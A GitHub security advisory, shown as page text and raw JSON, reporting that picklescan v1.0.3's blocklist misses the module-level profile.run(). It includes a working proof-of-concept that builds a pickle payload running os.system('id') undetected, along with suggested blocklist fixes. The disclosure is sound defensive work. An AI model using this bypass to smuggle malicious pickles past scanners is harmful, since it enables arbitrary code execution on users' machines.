GHSA-7WX9-6375-F5WH
Vulnerability from github – Published: 2026-03-03 20:03 – Updated: 2026-03-03 20:03Summary
picklescan v1.0.3 blocks profile.Profile.run and profile.Profile.runctx but does NOT block the module-level profile.run() function. A malicious pickle calling profile.run(statement) achieves arbitrary code execution via exec() while picklescan reports 0 issues. This is because the blocklist entry "Profile.run" does not match the pickle global name "run".
Severity
High — Direct code execution via exec() with zero scanner detection.
Affected Versions
- picklescan v1.0.3 (latest — the profile entries were added in recent versions)
- Earlier versions also affected (profile not blocked at all)
Details
Root Cause
In scanner.py line 199, the blocklist entry for profile is:
"profile": {"Profile.run", "Profile.runctx"},
When a pickle file imports profile.run (the module-level function), picklescan's opcode parser extracts:
- module = "profile"
- name = "run"
The blocklist check at line 414 is:
elif unsafe_filter is not None and (unsafe_filter == "*" or g.name in unsafe_filter):
This checks: is "run" in {"Profile.run", "Profile.runctx"}?
Answer: NO. "run" != "Profile.run". The string comparison is exact — there is no prefix/suffix matching.
What profile.run() Does
# From Python's Lib/profile.py
def run(statement, filename=None, sort=-1):
prof = Profile()
try:
prof.run(statement) # Calls exec(statement)
except SystemExit:
pass
...
profile.run(statement) calls exec(statement) internally, enabling arbitrary Python code execution.
Proof of Concept
import struct, io, pickle
def sbu(s):
b = s.encode()
return b"\x8c" + struct.pack("<B", len(b)) + b
# profile.run("import os; os.system('id')")
payload = (
b"\x80\x04\x95" + struct.pack("<Q", 60)
+ sbu("profile") + sbu("run") + b"\x93"
+ sbu("import os; os.system('id')")
+ b"\x85" + b"R" + b"."
)
# picklescan: 0 issues (name "run" not in {"Profile.run", "Profile.runctx"})
from picklescan.scanner import scan_pickle_bytes
result = scan_pickle_bytes(io.BytesIO(payload), "test.pkl")
assert result.issues_count == 0 # CLEAN!
# Execute: runs exec("import os; os.system('id')") → RCE
pickle.loads(payload)
Comparison
| Pickle Global | Blocklist Entry | Match? | Result |
|---|---|---|---|
("profile", "run") |
"Profile.run" |
NO — "run" != "Profile.run" |
CLEAN (bypass!) |
("profile", "Profile.run") |
"Profile.run" |
YES | DETECTED |
("profile", "runctx") |
"Profile.runctx" |
NO — "runctx" != "Profile.runctx" |
CLEAN (bypass!) |
The pickle opcode GLOBAL / STACK_GLOBAL resolves profile.run to the MODULE-LEVEL function, not the class method Profile.run. These are different Python objects but both execute arbitrary code.
Impact
profile.run() provides direct exec() execution. An attacker can execute arbitrary Python code while picklescan reports no issues. This is particularly impactful because exec() can import any module and call any function, bypassing the blocklist entirely.
Suggested Fix
Change the profile blocklist entry from:
"profile": {"Profile.run", "Profile.runctx"},
to:
"profile": "*",
Or explicitly add the module-level functions:
"profile": {"Profile.run", "Profile.runctx", "run", "runctx"},
Resources
- picklescan source:
scanner.pyline 199 ("profile": {"Profile.run", "Profile.runctx"}) - picklescan source:
scanner.pyline 414 (exact string match logic) - Python source:
Lib/profile.pyrun()function — callsexec()
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "picklescan"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.0.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-184",
"CWE-697"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-03T20:03:35Z",
"nvd_published_at": null,
"severity": "CRITICAL"
},
"details": "## Summary\n\npicklescan v1.0.3 blocks `profile.Profile.run` and `profile.Profile.runctx` but does NOT block the module-level `profile.run()` function. A malicious pickle calling `profile.run(statement)` achieves arbitrary code execution via `exec()` while picklescan reports 0 issues. This is because the blocklist entry `\"Profile.run\"` does not match the pickle global name `\"run\"`.\n\n## Severity\n\n**High** \u2014 Direct code execution via `exec()` with zero scanner detection.\n\n## Affected Versions\n\n- picklescan v1.0.3 (latest \u2014 the profile entries were added in recent versions)\n- Earlier versions also affected (profile not blocked at all)\n\n## Details\n\n### Root Cause\n\nIn `scanner.py` line 199, the blocklist entry for `profile` is:\n\n```python\n\"profile\": {\"Profile.run\", \"Profile.runctx\"},\n```\n\nWhen a pickle file imports `profile.run` (the module-level function), picklescan\u0027s opcode parser extracts:\n- `module = \"profile\"`\n- `name = \"run\"`\n\nThe blocklist check at line 414 is:\n\n```python\nelif unsafe_filter is not None and (unsafe_filter == \"*\" or g.name in unsafe_filter):\n```\n\nThis checks: is `\"run\"` in `{\"Profile.run\", \"Profile.runctx\"}`?\n\n**Answer: NO.** `\"run\" != \"Profile.run\"`. The string comparison is exact \u2014 there is no prefix/suffix matching.\n\n### What `profile.run()` Does\n\n```python\n# From Python\u0027s Lib/profile.py\ndef run(statement, filename=None, sort=-1):\n prof = Profile()\n try:\n prof.run(statement) # Calls exec(statement)\n except SystemExit:\n pass\n ...\n```\n\n`profile.run(statement)` calls `exec(statement)` internally, enabling arbitrary Python code execution.\n\n### Proof of Concept\n\n```python\nimport struct, io, pickle\n\ndef sbu(s):\n b = s.encode()\n return b\"\\x8c\" + struct.pack(\"\u003cB\", len(b)) + b\n\n# profile.run(\"import os; os.system(\u0027id\u0027)\")\npayload = (\n b\"\\x80\\x04\\x95\" + struct.pack(\"\u003cQ\", 60)\n + sbu(\"profile\") + sbu(\"run\") + b\"\\x93\"\n + sbu(\"import os; os.system(\u0027id\u0027)\")\n + b\"\\x85\" + b\"R\" + b\".\"\n)\n\n# picklescan: 0 issues (name \"run\" not in {\"Profile.run\", \"Profile.runctx\"})\nfrom picklescan.scanner import scan_pickle_bytes\nresult = scan_pickle_bytes(io.BytesIO(payload), \"test.pkl\")\nassert result.issues_count == 0 # CLEAN!\n\n# Execute: runs exec(\"import os; os.system(\u0027id\u0027)\") \u2192 RCE\npickle.loads(payload)\n```\n\n### Comparison\n\n| Pickle Global | Blocklist Entry | Match? | Result |\n|--------------|-----------------|--------|--------|\n| `(\"profile\", \"run\")` | `\"Profile.run\"` | NO \u2014 `\"run\" != \"Profile.run\"` | CLEAN (bypass!) |\n| `(\"profile\", \"Profile.run\")` | `\"Profile.run\"` | YES | DETECTED |\n| `(\"profile\", \"runctx\")` | `\"Profile.runctx\"` | NO \u2014 `\"runctx\" != \"Profile.runctx\"` | CLEAN (bypass!) |\n\nThe pickle opcode `GLOBAL` / `STACK_GLOBAL` resolves `profile.run` to the MODULE-LEVEL function, not the class method `Profile.run`. These are different Python objects but both execute arbitrary code.\n\n## Impact\n\n`profile.run()` provides direct `exec()` execution. An attacker can execute arbitrary Python code while picklescan reports no issues. This is particularly impactful because `exec()` can import any module and call any function, bypassing the blocklist entirely.\n\n## Suggested Fix\n\nChange the `profile` blocklist entry from:\n```python\n\"profile\": {\"Profile.run\", \"Profile.runctx\"},\n```\nto:\n```python\n\"profile\": \"*\",\n```\n\nOr explicitly add the module-level functions:\n```python\n\"profile\": {\"Profile.run\", \"Profile.runctx\", \"run\", \"runctx\"},\n```\n\n## Resources\n\n- picklescan source: `scanner.py` line 199 (`\"profile\": {\"Profile.run\", \"Profile.runctx\"}`)\n- picklescan source: `scanner.py` line 414 (exact string match logic)\n- Python source: `Lib/profile.py` `run()` function \u2014 calls `exec()`",
"id": "GHSA-7wx9-6375-f5wh",
"modified": "2026-03-03T20:03:35Z",
"published": "2026-03-03T20:03:35Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-7wx9-6375-f5wh"
},
{
"type": "PACKAGE",
"url": "https://github.com/mmaitre314/picklescan"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "PickleScan\u0027s profile.run blocklist mismatch allows exec() bypass"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.